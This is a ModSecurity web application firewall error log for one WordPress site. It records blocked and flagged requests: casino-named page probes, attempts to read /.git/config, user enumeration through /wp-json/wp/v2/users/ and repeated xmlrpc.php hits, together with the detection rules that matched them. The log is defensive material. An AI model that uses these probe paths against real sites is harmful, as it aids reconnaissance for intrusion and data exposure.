[Fri May 22 20:37:59.452477 2026] [:error] [pid 58782:tid 58788] [client 95.217.109.26:60256] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ahBOJ4xsdTFafgO8vhQnHgAAAQQ"]
[Fri May 22 20:38:03.166799 2026] [:error] [pid 58813:tid 58824] [client 95.217.109.26:60264] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ahBOK56yyKWDKULhxJ2GFQAAAUg"]
[Fri May 22 20:38:06.849853 2026] [:error] [pid 15585:tid 15648] [client 95.217.109.26:60272] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ahBOLiKb-vB41AF-LC2IHwAAAIE"]
[Fri May 22 20:38:09.653271 2026] [:error] [pid 15585:tid 15661] [client 95.217.109.26:12800] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ahBOMSKb-vB41AF-LC2IIgAAAI4"]
[Fri May 22 20:38:12.659498 2026] [:error] [pid 15679:tid 15704] [client 95.217.109.26:12816] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ahBONCh8tgGc38WJ-GxengAAANc"]
[Fri May 22 20:38:15.837467 2026] [:error] [pid 15585:tid 15666] [client 95.217.109.26:12822] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ahBONyKb-vB41AF-LC2IKwAAAJM"]
[Fri May 22 20:38:18.688135 2026] [:error] [pid 15585:tid 15660] [client 95.217.109.26:60582] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ahBOOiKb-vB41AF-LC2ILAAAAI0"]
[Fri May 22 20:39:16.981998 2026] [:error] [pid 15584:tid 15630] [client 95.217.109.26:22478] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "ahBOdN9Z_TVLbNEx52gzIQAAAEo"]
[Fri May 22 20:39:19.924277 2026] [:error] [pid 15679:tid 15693] [client 95.217.109.26:5962] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "ahBOdyh8tgGc38WJ-Gxe4wAAAMw"]
[Fri May 22 20:39:23.793372 2026] [:error] [pid 15583:tid 15601] [client 95.217.109.26:5970] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "ahBOe3naOncRcIm17YUWwAAAAA0"]
[Fri May 22 20:50:00.966596 2026] [:error] [pid 58782:tid 58805] [client 45.13.225.114:48894] [client 45.13.225.114] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "ahBQ-IxsdTFafgO8vhQogAAAARU"]
[Fri May 22 20:50:01.185972 2026] [:error] [pid 58782:tid 58799] [client 45.13.225.114:48900] [client 45.13.225.114] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "ahBQ-YxsdTFafgO8vhQogQAAAQ8"]
[Fri May 22 20:54:24.167761 2026] [:error] [pid 15584:tid 15625] [client 35.243.200.211:60103] [client 35.243.200.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.243.200.211, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBSAN9Z_TVLbNEx52g10wAAAEU"]
[Fri May 22 20:54:27.311944 2026] [:error] [pid 15584:tid 15624] [client 35.243.200.211:60103] [client 35.243.200.211] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "ahBSA99Z_TVLbNEx52g11wAAAEQ"]
[Fri May 22 20:54:27.527312 2026] [:error] [pid 15584:tid 15636] [client 35.243.200.211:60103] [client 35.243.200.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.243.200.211, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBSA99Z_TVLbNEx52g12AAAAFA"]
[Fri May 22 20:54:29.416009 2026] [:error] [pid 15585:tid 15651] [client 35.243.200.211:49931] [client 35.243.200.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.243.200.211, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBSBSKb-vB41AF-LC2MwwAAAIQ"]
[Fri May 22 20:54:31.196632 2026] [:error] [pid 15585:tid 15670] [client 35.243.200.211:51559] [client 35.243.200.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.243.200.211, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBSByKb-vB41AF-LC2MxwAAAJc"]
[Fri May 22 20:54:32.973515 2026] [:error] [pid 15585:tid 15651] [client 35.243.200.211:54306] [client 35.243.200.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.243.200.211, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBSCCKb-vB41AF-LC2MygAAAIQ"]
[Fri May 22 20:54:34.748430 2026] [:error] [pid 58813:tid 58822] [client 35.243.200.211:57145] [client 35.243.200.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.243.200.211, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBSCp6yyKWDKULhxJ2IlQAAAUY"]
[Fri May 22 20:54:34.748589 2026] [:error] [pid 58813:tid 58822] [client 35.243.200.211:57145] [client 35.243.200.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.243.200.211, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBSCp6yyKWDKULhxJ2IlQAAAUY"]
[Fri May 22 22:30:13.621157 2026] [:error] [pid 15585:tid 15651] [client 34.170.251.73:60184] [client 34.170.251.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.170.251.73, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBodSKb-vB41AF-LC2l1gAAAIQ"]
[Fri May 22 22:30:16.887984 2026] [:error] [pid 15585:tid 15667] [client 34.170.251.73:60184] [client 34.170.251.73] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "ahBoeCKb-vB41AF-LC2l2QAAAJQ"]
[Fri May 22 22:30:17.094937 2026] [:error] [pid 15585:tid 15660] [client 34.170.251.73:60184] [client 34.170.251.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.170.251.73, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBoeSKb-vB41AF-LC2l2gAAAI0"]
[Fri May 22 22:30:18.868088 2026] [:error] [pid 15583:tid 15601] [client 34.170.251.73:58673] [client 34.170.251.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.170.251.73, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBoennaOncRcIm17YUvBAAAAA0"]
[Fri May 22 22:30:20.671145 2026] [:error] [pid 15679:tid 15696] [client 34.170.251.73:58234] [client 34.170.251.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.170.251.73, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBofCh8tgGc38WJ-Gx7OAAAAM8"]
[Fri May 22 22:30:22.427121 2026] [:error] [pid 15584:tid 15630] [client 34.170.251.73:59205] [client 34.170.251.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.170.251.73, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBoft9Z_TVLbNEx52hGhgAAAEo"]
[Fri May 22 22:30:24.198087 2026] [:error] [pid 15584:tid 15622] [client 34.170.251.73:56025] [client 34.170.251.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.170.251.73, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBogN9Z_TVLbNEx52hGigAAAEI"]
[Fri May 22 22:30:24.198325 2026] [:error] [pid 15584:tid 15622] [client 34.170.251.73:56025] [client 34.170.251.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.170.251.73, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBogN9Z_TVLbNEx52hGigAAAEI"]
[Fri May 22 22:54:34.420281 2026] [:error] [pid 15679:tid 15697] [client 34.90.89.87:51960] [client 34.90.89.87] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.90.89.87, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBuKih8tgGc38WJ-GyAhgAAANA"]
[Fri May 22 22:54:37.679516 2026] [:error] [pid 15679:tid 15703] [client 34.90.89.87:51960] [client 34.90.89.87] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "ahBuLSh8tgGc38WJ-GyAiQAAANY"]
[Fri May 22 22:54:37.968965 2026] [:error] [pid 15679:tid 15688] [client 34.90.89.87:51960] [client 34.90.89.87] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.90.89.87, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBuLSh8tgGc38WJ-GyAigAAAMc"]
[Fri May 22 22:54:40.074561 2026] [:error] [pid 15585:tid 15663] [client 34.90.89.87:60575] [client 34.90.89.87] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.90.89.87, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBuMCKb-vB41AF-LC2qAQAAAJA"]
[Fri May 22 22:54:42.208397 2026] [:error] [pid 15583:tid 15599] [client 34.90.89.87:63200] [client 34.90.89.87] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.90.89.87, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBuMnnaOncRcIm17YU2bAAAAAs"]
[Fri May 22 22:54:42.208571 2026] [:error] [pid 15583:tid 15599] [client 34.90.89.87:63200] [client 34.90.89.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.90.89.87, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBuMnnaOncRcIm17YU2bAAAAAs"]
[Fri May 22 22:58:10.497669 2026] [:error] [pid 15585:tid 15659] [client 34.70.1.173:60171] [client 34.70.1.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.70.1.173, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBvAiKb-vB41AF-LC2qVwAAAIw"]
[Fri May 22 22:58:13.503200 2026] [:error] [pid 15585:tid 15653] [client 34.70.1.173:60171] [client 34.70.1.173] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "ahBvBSKb-vB41AF-LC2qWwAAAIY"]
[Fri May 22 22:58:13.701077 2026] [:error] [pid 15585:tid 15660] [client 34.70.1.173:60171] [client 34.70.1.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.70.1.173, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBvBSKb-vB41AF-LC2qXAAAAI0"]
[Fri May 22 22:58:15.462445 2026] [:error] [pid 58782:tid 58794] [client 34.70.1.173:56408] [client 34.70.1.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.70.1.173, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBvB4xsdTFafgO8vhQ40AAAAQo"]
[Fri May 22 22:58:17.285048 2026] [:error] [pid 15584:tid 15624] [client 34.70.1.173:51993] [client 34.70.1.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.70.1.173, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBvCd9Z_TVLbNEx52hKsgAAAEQ"]
[Fri May 22 22:58:17.285228 2026] [:error] [pid 15584:tid 15624] [client 34.70.1.173:51993] [client 34.70.1.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.70.1.173, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBvCd9Z_TVLbNEx52hKsgAAAEQ"]
[Fri May 22 23:00:20.129965 2026] [:error] [pid 15679:tid 15687] [client 35.226.218.136:60924] [client 35.226.218.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.218.136, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBvhCh8tgGc38WJ-GyBrwAAAMY"]
[Fri May 22 23:00:23.186043 2026] [:error] [pid 15679:tid 15702] [client 35.226.218.136:60924] [client 35.226.218.136] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "ahBvhyh8tgGc38WJ-GyBugAAANU"]
[Fri May 22 23:00:23.384633 2026] [:error] [pid 15679:tid 15697] [client 35.226.218.136:60924] [client 35.226.218.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.218.136, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBvhyh8tgGc38WJ-GyBvQAAANA"]
[Fri May 22 23:00:25.118617 2026] [:error] [pid 15679:tid 15696] [client 35.226.218.136:54445] [client 35.226.218.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.218.136, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBviSh8tgGc38WJ-GyBwAAAAM8"]
[Fri May 22 23:00:26.864606 2026] [:error] [pid 15679:tid 15689] [client 35.226.218.136:60978] [client 35.226.218.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.218.136, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBviih8tgGc38WJ-GyBxgAAAMg"]
[Fri May 22 23:00:28.596250 2026] [:error] [pid 15679:tid 15697] [client 35.226.218.136:55712] [client 35.226.218.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.218.136, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBvjCh8tgGc38WJ-GyBzgAAANA"]
[Fri May 22 23:00:30.409333 2026] [:error] [pid 58813:tid 58834] [client 35.226.218.136:53927] [client 35.226.218.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.218.136, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBvjp6yyKWDKULhxJ2akQAAAVI"]
[Fri May 22 23:00:30.409505 2026] [:error] [pid 58813:tid 58834] [client 35.226.218.136:53927] [client 35.226.218.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.226.218.136, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBvjp6yyKWDKULhxJ2akQAAAVI"]
[Fri May 22 23:02:22.838509 2026] [:error] [pid 15583:tid 15591] [client 35.192.232.83:55144] [client 35.192.232.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.232.83, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBv_nnaOncRcIm17YU4NAAAAAM"]
[Fri May 22 23:02:25.829318 2026] [:error] [pid 15583:tid 15612] [client 35.192.232.83:55144] [client 35.192.232.83] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "ahBwAXnaOncRcIm17YU4OAAAABg"]
[Fri May 22 23:02:26.028376 2026] [:error] [pid 15583:tid 15588] [client 35.192.232.83:55144] [client 35.192.232.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.232.83, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBwAnnaOncRcIm17YU4OQAAAAA"]
[Fri May 22 23:02:27.750135 2026] [:error] [pid 58813:tid 58818] [client 35.192.232.83:62105] [client 35.192.232.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.232.83, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBwA56yyKWDKULhxJ2avQAAAUI"]
[Fri May 22 23:02:29.483449 2026] [:error] [pid 58813:tid 58837] [client 35.192.232.83:65344] [client 35.192.232.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.232.83, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBwBZ6yyKWDKULhxJ2avwAAAVU"]
[Fri May 22 23:02:31.228644 2026] [:error] [pid 58813:tid 58824] [client 35.192.232.83:52735] [client 35.192.232.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.232.83, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBwB56yyKWDKULhxJ2awAAAAUg"]
[Fri May 22 23:02:32.958973 2026] [:error] [pid 15584:tid 15621] [client 35.192.232.83:65256] [client 35.192.232.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.232.83, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBwCN9Z_TVLbNEx52hLTQAAAEE"]
